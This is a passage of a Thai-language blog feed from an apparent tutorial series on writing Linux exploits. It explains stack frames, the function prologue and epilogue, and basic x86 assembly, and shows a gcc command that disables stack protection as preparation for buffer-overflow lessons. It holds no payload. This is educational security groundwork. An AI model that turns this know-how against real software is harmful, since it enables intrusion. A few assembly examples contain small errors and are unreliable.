Frame&lt;/h4&gt;&lt;p&gt;ในหัวข้อ Assembly ผมได้พูดถึง ESP กับ EBP สั้นๆ ในหัวข้อนี้จะได้เห็นว่า register 2 ตัวนี้ถูกใช้งานอย่างไรใน stack&lt;/p&gt;&lt;p&gt;โดยปกติ EBP ชี้ไปยัง address ของ stack ข้างบน EIP ที่ถูก push ลงไปใน stack ก่อนมีการ call function โดยหน้าที่หลักคือ ใช้อ้างอิง function arguments และ local variables ซึ่งเมื่อใช้ EBP การอ้างอิงทั้ง arguments และ local variables นั้นจะไม่มีการเปลี่ยนแปลงตามรูปข้างล่าง โดยสมมติว่ามีการ call function ที่มี 3 arguments และใน function นั้นมีการประกาศตัวแปรไว้เป็น &lt;span class="code"&gt;"int i; char buf[8];"&lt;/span&gt; (เหมือนตัวอย่างในหัวข้อ "Buffer Overflow คืออะไร" ใน function main แต่ใช้ i แทน magic)&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQ95EZJbmjI/AAAAAAAAAC8/HhEaNswXC3E/s1600/stack_and_function_2.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="339" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQ95EZJbmjI/AAAAAAAAAC8/HhEaNswXC3E/s400/stack_and_function_2.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากรูปข้างบน อาจจะเรียกทั้งหมดว่า &lt;b&gt;"Stack Frame"&lt;/b&gt; โดยถ้าเราต้องการจะอ้างถึงตัวแปร &lt;span class="code"&gt;buf&lt;/span&gt; ก็ใช้ &lt;span class="code"&gt;EBP-12&lt;/span&gt; ส่วนถ้าต้องการอ้างถึง argument ตัวที่ 1 ก็ใช้ &lt;span class="code"&gt;EBP+8&lt;/span&gt; และตัวอื่นๆ ตามรูป&lt;/p&gt;&lt;p&gt;ส่วน "saved EIP" ในรูปนั้น ผมได้อธิบายไปในตอนต้นแล้ว มันคือ EIP ของคำสั่งที่จะถูกทำงานหลังจากจบ function ที่เรียก&lt;/p&gt;&lt;p&gt;แล้ว "saved EBP" ละมีไว้ทำอะไร เนื่องด้วยเราได้ใช้ EBP เป็น strack frame pointer เพื่อที่จะได้อ้างอิง local variables และ function arguments ได้สะดวก ดังนั้นเมื่อมีการ call function หนึ่ง EBP จะต้องถูกเลื่อนไปที่ stack frame ของ function ที่ถูกเรียก ดังนั้นเราต้องทำเหมือนกับ EIP คือเก็บไว้ใน stack เพื่อจะได้เอา (restore) EBP ของ function เดิมกลับมาได้ (ถ้างง ให้อ่านไปก่อนนะครับ จะมีตัวอย่างอีกอัน)&lt;/p&gt;&lt;p&gt;จะเห็นว่าก่อนจะเริ่มทำงานใน function แต่ละครั้งนั้น จะมีการเก็บค่า EBP, ย้าย EBP และจองเนื้อที่สำหรับ local variables (ไม่มีการเก็บค่า EIP นะครับ อันนี้ถูกรวมอยู่ในคำสั่ง &lt;span class="code"&gt;call&lt;/span&gt;) และเมื่อจบ function ก็จะมีการ clear stack ที่จองไว้สำหรับ local variables และ restore EBP ก่อนที่จะเรียกคำสั่ง &lt;span class="code"&gt;ret&lt;/span&gt;&lt;/p&gt;&lt;p&gt;สิ่งที่ต้องทำก่อนเริ่มทำงานใน function จะเรียกว่า function prologue ซึ่งถ้านำตัวอย่างข้างบนมาเขียนเป็น assembly จะเป็น&lt;/p&gt;&lt;pre class="code language-assembly"&gt;&lt;br /&gt;push %ebp       # เก็บค่า EBP ที่ใช้ใน function ก่อนหน้าไว้ใน stack&lt;br /&gt;mov %esp, %ebp  # เลื่อนค่า EBP มาที่ ESP (top of stack)&lt;br /&gt;sub $12, %esp   # เลื่อน ESP เพื่อจอง memory ให้ local variables&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และสิ่งที่ต้องทำก่อนจบ function จะเรียกว่า function epilogue ซึ่งเขียนเป็น assembly ได้เป็น&lt;/p&gt;&lt;pre class="code language-assembly"&gt;&lt;br /&gt;mov %ebp, %esp  # clear memory สำหรับ local variables โดยการย้าย ESP มาที่ EBP&lt;br /&gt;pop %ebp        # restore EBP จากค่าที่เก็บไว้ใน stack&lt;br /&gt;ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เนื่องจาก ใน x86 มีคำสั่งสำหรับทำ function epilogue คือ &lt;span class="code"&gt;leave&lt;/span&gt; ซึ่งเท่ากับ &lt;span class="code"&gt;mov %ebp,%esp&lt;/span&gt; และ &lt;span class="code"&gt;pop %ebp&lt;/span&gt; ทำให้โดยปกติ เราจะเห็น function epilogue เมื่อเรา disassembly เป็น&lt;/p&gt;&lt;pre class="code language-assembly"&gt;&lt;br /&gt;leave&lt;br /&gt;ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;บางคนอาจจะสังเกตเห็น ESP ในรูป แล้วสงสัยว่าทำไมถึงไม่ใช้ ESP ในการอ้างอิง local variables และ function arguments ละ ในเมื่อ ESP ชี้ไปที่ top of stack เสมออยู่แล้ว และก็อยู่ใกล้ local variables กับ function arguments เหตุผลก็คือ&lt;br/&gt;1. การถ้าใช้ ESP ต้องมีการคำนวณทุกครั้ง ที่มีการ push หรือ pop ว่า local variables และ function arguments ห่างจาก ESP เท่าไร แต่การใช้ EBP ทำให้การอ้างอิงค่าแต่ละตัวเหมือนเดิมตลอดๆ ไม่ว่า stack จะเปลี่ยนแปลงอย่างไร ทำให้ง่ายต่อการ debug&lt;br/&gt;2. เนื่องด้วยต้องคำนวณระยะห่างของ ESP ที่กล่าวไปในข้อ 1 ทำให้ compiler ทำงานช้าลง&lt;/p&gt;&lt;p&gt;จริงๆ แล้ว compiler เกือบทุกตัว มี option ให้ใช้แต่ ESP แล้วเก็บ EBP ไว้ใช้เหมือน register ตัวอื่นๆ เช่นใน gcc จะใช้ &lt;span class="code"&gt;-fomit-frame-pointer&lt;/span&gt; ส่วนเหตุผลว่า บางครั้งทำไมต้องใช้แบบนี้ ไม่ขอกล่าวในนี้ เดี๋ยวจะยาวเกิน&lt;/p&gt;&lt;p&gt;ก่อนจะจบ ผมขอยกตัวอย่าง ที่มาจากการ compile จริงๆ และจะได้ฝึก Assembly ไปด้วย โดยมีโปรแกรมที่เขียนด้วยภาษา C ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_04_1.c?attredirects=0&amp;d=1"&gt;ex_04_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;int fn_second(int n1, int n2, char *s)&lt;br /&gt;{&lt;br /&gt;  char bb[16];&lt;br /&gt;  return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void fn_first(int num)&lt;br /&gt;{&lt;br /&gt;  int i;&lt;br /&gt;  char buf[8];&lt;br /&gt;  fn_second(i, num, buf);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  fn_first(5);&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;แล้ว compile ด้วย gcc ตามนี้ (ครั้งนี้ ผม compile ให้ใช้วิธี push argument แล้ว call function เพื่อให้เข้าใจง่าย แต่ในหัวข้อถัดไป ผมจะให้ดูอีกรูปแบบหนึ่ง)&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gcc -march=i586 -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o call_stack call_stack.c&lt;br /&gt;&lt;/pre&gt;เมื่อผมทำการ disassembly ออกมาจะได้ (ผมเอามาแสดงแค่ 3 function ที่มีใน C code นะครับ และเป็น address จริงๆ ในเครื่องของผม)&lt;pre class="code language-bsh"&gt;&lt;br /&gt;&amp;lt;fn_second&amp;gt;:&lt;br /&gt;   # function prologue โดยจองเนื้อที่ขนาด 16 bytes สำหรับ local variable&lt;br /&gt;   0x08048394 &lt;+0&gt;:   push   %ebp&lt;br /&gt;   0x08048395 &lt;+1&gt;:   mov    %esp,%ebp&lt;br /&gt;   0x08048397 &lt;+3&gt;:   sub    $0x10,%esp&lt;br /&gt;   0x0804839a &lt;+6&gt;:   mov    $0x1,%eax    # set ค่า 1 ที่จะ return ใน EAX&lt;br /&gt;   # function epilogue&lt;br /&gt;   0x0804839f &lt;+11&gt;:  leave&lt;br /&gt;   0x080483a0 &lt;+12&gt;:  ret&lt;br /&gt;&amp;lt;fn_first&amp;gt;:&lt;br /&gt;   # function prologue โดยจองเนื้อที่ขนาด 12 bytes สำหรับ local variable&lt;br /&gt;   0x080483a1 &lt;+0&gt;:   push   %ebp&lt;br /&gt;   0x080483a2 &lt;+1&gt;:   mov    %esp,%ebp&lt;br /&gt;   0x080483a4 &lt;+3&gt;:   sub    $0xc,%esp&lt;br /&gt;   0x080483a7 &lt;+6&gt;:   lea    -0xc(%ebp),%eax # load address ของ buf ไว้ที่ EAX&lt;br /&gt;   0x080483aa &lt;+9&gt;:   push   %eax        # push address ของ buf (argument ตัวที่ 3)&lt;br /&gt;   0x080483ab &lt;+10&gt;:  pushl  0x8(%ebp)   # push ค่า num (argument ตัวที่ 2)&lt;br /&gt;   0x080483ae &lt;+13&gt;:  pushl  -0x4(%ebp)  # push ค่า i (argument ตัวที่ 1)&lt;br /&gt;   0x080483b1 &lt;+16&gt;:  call   0x8048394 &amp;lt;fn_second&amp;gt;&lt;br /&gt;   0x080483b6 &lt;+21&gt;:  add    $0xc,%esp  # clear arguments ที่ส่งผ่านใน stack&lt;br /&gt;   # function epilogue&lt;br /&gt;   0x080483b9 &lt;+24&gt;:  leave&lt;br /&gt;   0x080483ba &lt;+25&gt;:  ret&lt;br /&gt;&amp;lt;main&amp;gt;:&lt;br /&gt;   # function prologue มี 2 คำสั่งเพราะ ไม่มี local variables&lt;br /&gt;   0x080483bb &lt;+0&gt;:   push   %ebp&lt;br /&gt;   0x080483bc &lt;+1&gt;:   mov    %esp,%ebp&lt;br /&gt;   0x080483be &lt;+3&gt;:   push   $0x5       # push argument ตัวที่ 1&lt;br /&gt;   0x080483c0 &lt;+5&gt;:   call   0x80483a1 &amp;lt;fn_first&amp;gt;&lt;br /&gt;   0x080483c5 &lt;+10&gt;:  add    $0x4,%esp  # clear arguments ที่ส่งผ่านใน stack&lt;br /&gt;   0x080483c8 &lt;+13&gt;:  mov    $0x0,%eax  # set ค่า 0 ที่จะ return ใน EAX&lt;br /&gt;   # function epilogue&lt;br /&gt;   0x080483cd &lt;+18&gt;:  leave&lt;br /&gt;   0x080483ce &lt;+19&gt;:  ret&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ถ้าใครอ่าน Assembly code แล้วไม่เห็นภาพ ผมก็มีรูปให้ดู (หวังว่าคนที่ยังไม่เข้าใจ ดูแล้วจะเข้าใจ) โดยผมจะเริ่มคำสั่งจากใน main ที่ address 0x080483be และจบที่ address 0x080483c5 โดย EBP และ ESP ชี้ไปที่ address 0xbffff728 อยู่ (address จริงในเครื่องผม) และเนื่องด้วยถ้าทำเป็น step ทั้งหมดรูปจะใหญ่มาก ผมขอไม่เข้าไปใน &lt;span class="code"&gt;"call fn_second"&lt;/span&gt; และคำสั่งที่ address 0x080483c5 ผมไม่แสดง โดยผลลัพธ์จะเหมือนขั้นตอนแรก&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TRIWDWAYufI/AAAAAAAAADE/1I6Lw4F3lnY/s1600/stack_and_function_3.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="364" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TRIWDWAYufI/AAAAAAAAADE/1I6Lw4F3lnY/s400/stack_and_function_3.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;ถ้าใครไม่เคยรู้เรื่องนี้มาก่อน ให้ค่อยๆ ไล่นะครับ ใช้เวลานานหน่อย ไม่ต้องรีบร้อน เรื่องนี้สำคัญมากๆ&lt;/p&gt;&lt;p&gt;สุดท้าย ให้ลองกลับไปดูในหัวข้อ "&lt;a href="http://thtutz.blogspot.com/2010/11/buffer-overflow.html"&gt;Buffer Overflow คืออะไร&lt;/a&gt;" แล้วคิดดูว่า เกิดอะไรขึ้นใน stack ในแต่ละ input ที่เราลองกัน แล้วผมจะอธิบายในหัวข้อถัดไป พร้อมกับการใช้ gdb เบื้องต้น&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7129542730296358907?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7129542730296358907/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/12/function-stack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7129542730296358907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7129542730296358907'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/12/function-stack.html' title='Function กับ Stack'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_4X9aA2jxLhc/TQ94-iBG4kI/AAAAAAAAAC0/0miIKJb60K0/s72-c/stack_and_function_1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-4150233002758643541</id><published>2010-12-19T23:14:00.010+07:00</published><updated>2011-02-03T20:18:48.024+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>สารบัญ การเขียน exploit บน Linux</title><content type='html'>&lt;p&gt;ตอนนี้ ผมได้สร้าง page ขึ้นมาเฉพาะแล้วนะครับ ขอเปลี่ยนให้ไปใช้ Pages ที่เมนูด้านขวามือ&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-4150233002758643541?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/4150233002758643541/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/12/exploit-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/4150233002758643541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/4150233002758643541'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2010/12/exploit-linux.html' title='สารบัญ การเขียน exploit บน Linux'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7483131921789477200</id><published>2010-12-16T21:46:00.003+07:00</published><updated>2010-12-19T23:15:38.327+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Assembly พื้นฐาน</title><content type='html'>&lt;p&gt;ในหัวข้อนี้ ผมจะพูดถึง Assembly ของ x86 โดยเอาเฉพาะที่จำเป็นสำหรับการเขียน exploit จะพยายามไม่ให้ยาวมากนะครับ&lt;/p&gt;&lt;h4&gt;CPU Registers&lt;/h4&gt;ใน CPU จะมี registers ต่างๆ ขนาด 32 bits ที่ใช้เก็บข้อมูล สำหรับ ALU (Arithmetic Logic Unit) นำมาประมวลผล โดยมี register ที่สำคัญ มีดังนี้&lt;br/&gt;&lt;ul&gt;&lt;li&gt;EIP (Extended Instruction Pointer) ใช้สำหรับเก็บ address ของคำสั่งถัดไปที่จะถูกประมวลผล&lt;/li&gt;&lt;li&gt;EBP (Extended Base Pointer) ใช้สำหรับเก็บ address ล่างสุดของ frame ที่ทำงานอยู่ใน stack&lt;/li&gt;&lt;li&gt;ESP (Extended Stack Pointer) ใช้สำหรับเก็บ address บนสุดของ stack&lt;/li&gt;&lt;li&gt;EAX (Extended Accumulator Register), EBX (Extended Base Register), ECX (Extended Counter Register), EDX (Extended Data Register) ทั้ง 4 ตัวนี้ใช้สำหรับเก็บข้อมูลทั่วไป (General Purpose Registers)&lt;/li&gt;&lt;li&gt;ESI (Extended Source Index), EDI (Extended Destination Index) ใช้สำหรับคำสั่งที่ต้องการ indexing เช่น array, copy string แต่ในบางครั้ง ก็ถูกใช้เหมือนกับ register 4 ตัวข้างบน คือเก็บข้อมูลทั่วไป&lt;/li&gt;&lt;/ul&gt;General Purpose Registers (EAX, EBX, ECX, EDX) สามารถ access แบบ 16 bits และ 8 bits โดยแบ่งตามรูปข้างล่าง&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQolkxjm3zI/AAAAAAAAACo/MziB9sBLFaQ/s1600/cpu_register.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQolkxjm3zI/AAAAAAAAACo/MziB9sBLFaQ/s320/cpu_register.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;ส่วน register ตัวอื่นๆ สามารถ access แบบ 16 bits ตามนี้ IP, BP, SP, SI, DI&lt;h4&gt;Flags&lt;/h4&gt;Flags ใช้สำหรับบอกสถานะของผลลัพธ์ของคำสั่ง บางคำสั่งจะไม่มีการเปลี่ยนค่า Flags บางคำสั่งจะมีการเปลี่ยนบาง Flags โดยใน CPU นั้นมี Flags อยู่หลายตัว แต่ในที่นี้ ผมจะพูดเฉพาะ ZF (Zero Flag), SF (Sign Flag)&lt;br/&gt;&lt;ul&gt;&lt;li&gt;ZF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็น 0&lt;/li&gt;&lt;li&gt;SF เป็น flag ที่ถูก set เมื่อผลลัพธ์ของ operation เป็นลบ&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Assembly Language&lt;/h4&gt;คราวนี้ก็มาถึงตัว assembly เองแล้ว โดยตัว syntax เองก็จะมีหลักๆ อยู่ 2 แบบที่ใช้กัน คือ AT&amp;T กับ Intel โดย&lt;br/&gt;- ตัว AT&amp;T syntax จะถูกใช้ใน GNU Assembler และส่วนมากจะเป็น default สำหรับ Linux&lt;br/&gt;- ตัว Intel Syntax ก็จะเป็น Netwide Assembler (NASM) และ Windows assemblers ส่วนมากจะใช้ NASM&lt;br/&gt;&lt;p&gt;ทั้งสอง syntax ที่กล่าวนี้ จะมี syntax ที่ต่างกันบ้าง แต่เมื่อถูกเปลี่ยนเป็น machine code แล้ว ผลลัพธ์ที่ได้ก็จะเหมือนกัน โดยความแตกต่างหลักๆ ที่ต้องรู้&lt;ul&gt;&lt;li&gt;คำสั่งที่ต้องการ source กับ destination จะสลับกัน โดย AT&amp;T จะใช้ source ข้างหน้า แต่ NASM จะใช้ destination ข้างหน้า คือ&lt;br/&gt;- AT&amp;T: CMD &amp;lt;source&amp;gt;, &amp;lt;dest&amp;gt; &amp;lt;# comment&amp;gt;&lt;br/&gt;- NASM: CMD &amp;lt;dest&amp;gt;, &amp;lt;source&amp;gt; &amp;lt;; comment&amp;gt;&lt;/li&gt;&lt;li&gt;AT&amp;T ใช้ % ข้างหน้า registers แต่ NASM ไม่ใช้&lt;/li&gt;&lt;li&gt;AT&amp;T ใช้ $ ข้างหน้า immediate value แต่ NASM ไม่ใช้&lt;/li&gt;&lt;li&gt;AT&amp;T จะมี suffix (ตัวต่อท้ายคำสั่ง) เพื่อระบุขนาดของ operand โดยใช้ l สำหรับ long (4 byte), w สำหรับ word (2 byte), b สำหรับ byte (สำหรับ GNU Assembler เราสามารถไม่ใส่ suffix ถ้าคำสั่งนั้นมี operand ที่ระบุขนาด) แต่ NASM จะมีเมื่อใช้กับการอ้างอิงที่อยู่ เช่น dword ptr, byte ptr&lt;/li&gt;&lt;li&gt;เรื่องการอ้างที่อยู่ memory โดย AT&amp;T ใช้ () ส่วน NASM ใช้ [] และตำแหน่งของ index ก็จะต่างกัน จะพูดถึงอีกทีในเรื่องของ assembly command&lt;/li&gt;&lt;/ul&gt;เนื่องจากเรากำลังเขียน exploit บน Linux ผมจะพูดถึง AT&amp;T syntax เป็นหลัก&lt;/p&gt;&lt;h4&gt;Assembly Commands&lt;/h4&gt;&lt;p&gt;ในที่นี้ ผมจะพูดเฉพาะคำสั่งที่ผมคิดว่าสำคัญมากๆ ถ้าใครต้องการรู้เพิ่มเติม คงต้องหาอ่านเพิ่มเอาเองนะครับ&lt;/p&gt;&lt;p&gt;&lt;b&gt;mov&lt;/b&gt;&lt;br/&gt; คือการ copy (คัดลอก) ข้อมูลจาก source ไปยัง destination เช่น&lt;br/&gt;&lt;pre class="code language-assembly"&gt;&lt;br /&gt;movl $1234h, %eax&lt;br /&gt;mov  %eax, %ebx   # GNU assembler สามารถเดาได้ว่าเป็น movl เพราะ ebx มีขนาด 4 bytes&lt;br /&gt;movw %ax, %bx&lt;br /&gt;movb %al, %bl&lt;br /&gt;&lt;/pre&gt;คำสั่งแรกคือ กำหนดค่าของ register EAX ให้เป็น 0x1234 (ใน assembly สามารถใช้ได้ทั้้ง 1234h และ 0x1234) ส่วนคำสั่งที่ 2 คือ กำหนดค่าของ EBX ให้เหมือน EAX ถ้าทำงานต่อกัน EBX ก็จะเป็นค่า 0x1234&lt;br/&gt;ส่วนถ้า assembly นี้เขียนเป็น NASM syntax ก็จะเป็น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;mov eax, 1234h&lt;br /&gt;mov ebx, eax&lt;br /&gt;mov bx, ax&lt;br /&gt;mov bl, al&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;add, sub&lt;/b&gt;&lt;br/&gt;ใช้สำหรับการบวกและลบ โดยนำค่าของ source ไปบวก/ลบ กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;addl $1234h, %eax  # นำค่าที่อยู่ใน EAX บวก 0x1234 แล้วเก็บใน EAX&lt;br /&gt;subl $1234h, %eax  # นำค่าที่อยู่ใน EAX ลบ 0x1234 แล้วเก็บใน EAX&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;xor, or, and&lt;/b&gt;&lt;br/&gt;เป็น bitwise operation ของการทำ xor, or หรือ and ของ source กับ destination แล้วเก็บผลลัพธ์ไว้ที่ destination เช่น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;xorl %eax, %eax  # xor ค่าของ EAX กับ EAX เป็นเทคนิคหนึ่ง ที่ทำให้ EAX เป็น 0&lt;br /&gt;orl %ebx, %eax&lt;br /&gt;andl %ebx, $ffh&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;push, pop&lt;/b&gt;&lt;br/&gt; ใช้สำหรับ push กับ pop ค่าบน stack (ตำแหน่งบนสุดของ stack ดูได้จากค่า register ESP) เช่น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;pushl $10h  # push ค่า 0x10 ลงใน stack&lt;br /&gt;pushl %eax  # push ค่าของ EAX ลงใน stack&lt;br /&gt;popl %ebx   # pop ค่าจาก stack เก็บใน EBX&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;cmp&lt;/b&gt;&lt;br/&gt; ใช้สำหรับเปรียบเทียบค่า source กับ destination แล้ว set ค่า flag ต่างๆ ตามผลลัพธ์ เพื่อใช้สำหรับคำสั่ง jump ต่างๆ เช่น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;cmpl $55, %eax&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;jne, je, jnz, jz, jmp&lt;/b&gt;&lt;br/&gt; ใช้สำหรับ jump (กระโดด) ไปคำสั่งที่ตำแหน่งอื่นๆ โดยจะกระโดดหรือไม่ ขึ้นอยู่กับชนิดของ jump และค่าของ flag ต่างๆ  แต่ในที่นี้ ผมจะไม่พูดถึง flag นะครับ เพราะจำยาก แต่ให้ดูที่ความหมายเอา โดยในตัวอย่างข้างล่างสมมติว่ามีการใช้ cmp ตามตัวอย่างข้างบน และค่า eax เป็น 10&lt;pre class="code language-assembly"&gt;&lt;br /&gt;jne 5   # Jump if Not Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นก็จะ jump &lt;br /&gt;je 5    # Jump if Equal คือ 55 ไม่เท่ากับ 10 ดังนั้นจะไม่ jump&lt;br /&gt;jnz 5   # Jump if Not Zero คือถ้า zero flag ไม่ถูก set ซึ่งจะเหมือนกัน jne&lt;br /&gt;jz 5    # Jump if Zero คือถ้า zero flag ถูก set ซึ่งจะเหมือนกัน je&lt;br /&gt;jmp 5   # jump โดยไม่มีเงื่อนไข&lt;br /&gt;&lt;/pre&gt;การ jump จะมีทั้งแบบ absolute address (คือระบุว่าจะไปที่ address ไหน) และ relative address (คือระบุว่าจะไปข้างหน้าหรือข้างหลังจากตำแหน่งปัจจุบันเท่าไร) โดยตัวอย่างที่ผมเขียนมา เป็นแบบ relative ทั้งหมด&lt;/p&gt;&lt;p&gt;&lt;b&gt;inc, dec&lt;/b&gt;&lt;br/&gt; ใช้สำหรับเพิ่มค่า (+1) หรือลดค่า (-1) ใน register เช้น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;inc %eax&lt;br /&gt;dec %ebx&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;lea&lt;/b&gt;&lt;br/&gt; ย่อมาจาก load effective address ใช้สำหรับคำนวณค่า address ของ source แล้วเก็บที่ destination คำสั่งนี้หลายๆ คน จะสับสนกับ mov โดย mov ใช้สำหรับ copy ค่าที่อยู่ใน address ของ source สมมติว่าค่าใน EAX เป็น 0xdeadbee0 และค่าที่อยู่ใน address 0xdeadbee4 คือ 8&lt;pre class="code language-assembly"&gt;&lt;br /&gt;leal 4(%eax),%ebx  # คำนวณค่า address ของ source ได้ 0xdeadbeee4 แล้วเก็บที่ EBX&lt;br /&gt;&lt;/pre&gt;แต่ถ้าเป็น mov&lt;pre class="code language-assembly"&gt;&lt;br /&gt;movl 4(%eax),%ebx  # เอาค่า address ที่คำนวณได้ แล้วไปดึงค่าที่ address นั้น (คือ 8) แล้วเก็บที่ EBX&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;int&lt;/b&gt;&lt;br/&gt; ใช้สำหรับเรียก interrupt handler ในการเขียน exploit บน linux ตัวที่จะได้ใช้บ่อย คือค่า 0x80 ซึ่งใช้สำหรับเรียก system call เช่น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;int $0x80&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;nop&lt;/b&gt;&lt;br/&gt; คือ no operation (ไม่มีการทำงาน) ใช้สำหรับบอกว่าไม่ต้องทำอะไร คล้ายๆ กับบรรทัดที่มี semicolon เฉยๆ ใน C ตัวนี้ผมจะพูดถึงประโยชน์ทีหลัง เมื่อมีการใช้งาน และขอให้จำด้วยว่ามีค่าเป็น 0x90&lt;/p&gt;&lt;p&gt;ในหัวข้อนี้ ที่ผมเขียนมาทั้งหมดเกี่ยวกับ assembly จริงๆ แล้วยังไม่พอที่จะมาใช้จริงๆ แค่ให้พอที่จะถูๆไถๆไปได้ สำหรับเรื่อง assembly ผมแนะนำให้ฝึกมากกว่า ไม่ต้องไปนั่งท่องจำอะไร ได้ใช้สักพักก็จะจำได้เอง ใครที่ยังไม่ค่อยเข้าใจก็อ่านหัวข้อต่อไปก่อนเลยนะครับ มันเป็นเรื่องที่เกี่ยวกัน และจะได้ฝึก assembly ด้วย น่าจะช่วยให้เข้าใจได้มากขึ้น&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- Gray Hat Hacking&lt;br/&gt;- Using Assembly Language in Linux - &lt;a href="http://asm.sourceforge.net/articles/linasm.html"&gt;http://asm.sourceforge.net/articles/linasm.html&lt;/a&gt;&lt;br/&gt;- x86 Instruction Set Reference - &lt;a href="http://siyobik.info/index.php?module=x86"&gt;http://siyobik.info/index.php?module=x86&lt;/a&gt;&lt;br/&gt;- X86 Opcode and Instruction Reference - &lt;a href="http://ref.x86asm.net/"&gt;http://ref.x86asm.net/&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7483131921789477200?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7483131921789477200/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2010/12/assembly.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7483131921789477200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7483131921789477200'/><link 